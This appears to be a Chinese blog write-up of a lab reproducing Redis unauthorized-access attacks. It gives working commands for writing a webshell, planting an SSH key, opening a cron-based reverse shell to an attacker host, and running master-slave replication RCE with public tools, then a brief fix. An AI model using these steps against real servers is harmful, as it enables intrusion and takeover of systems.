浅谈Redis未授权

未分类
674 词

漏洞成因

默认情况下,Redis会监听6379端口,如果没有设置密码认证,那么任何能够访问该端口的用户都可以执行相应Redis命令。

环境

靶机

1
2
3
4
5
6
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
tar -zxf redis-4.0.10.tar.gz
cd redis-4.0.10
make
make install
./src/redis-server redis.conf //启动redis

image-20241019220742138

攻击机

同样下载编译一个redis步骤同上

连接redis

因为我这边靶机是放在云服务器上,所以需要另外调整一下设置

protected-mode设置为no

bind设置为0.0.0.0,默认为只接受本机

src目录下通过./redis-cli -h ip连接

image-20241019220814620

漏洞利用

写入webshell

1
2
3
4
config set dir /var/www/html
config set dbfilename test.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

\r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

SSH登录

1
2
3
4
ssh-keygen -t rsa
cd /root/.ssh
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
cat /root/.ssh/key.txt |./redis-cli -h ip -x set pub

读取公钥到key.txt里,顺便前后用换行,避免和redis里其他缓存数据混合;然后将key.txt写入redis

image-20241021122846633

设置redis的dump文件路径

1
2
3
config set dir /root/.ssh
config set dbfilename authorized_keys
save

ssh连接

1
ssh ip	

image-20241021125051516

image-20241021125204294

反弹shell

在crontab里写定时任务,然后反弹shell

nc -nvlp 5555

1
2
3
4
config set dir /var/spool/cron/crontabs //也可以/var/spool/cron
config set dbfilename root
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ip/5555 0>&1\n\n" # ip为攻击机ip,每隔1分钟执行一次
save

image-20241021140832755

主从复制getshell

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主、从机数据都是一样的,从机只负责读,主机只负责写。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的

1
2
3
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make # 生成module.so
1
2
3
4
5
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r ip1 -p 6379 -L ip2 -f module.so # python redis-rce.py -r 目标ip -p 目标端口 -L 本地ip -f 恶意.so

脚本一把梭,大致扣了步骤,感觉没啥意思

修复

从环境配置就能看到,直接去redis.conf里设置好bind,只放行需要放行的ip,以及设置好密码requirepass password

参考

10.Redis未授权访问漏洞复现与利用 - bmjoker - 博客园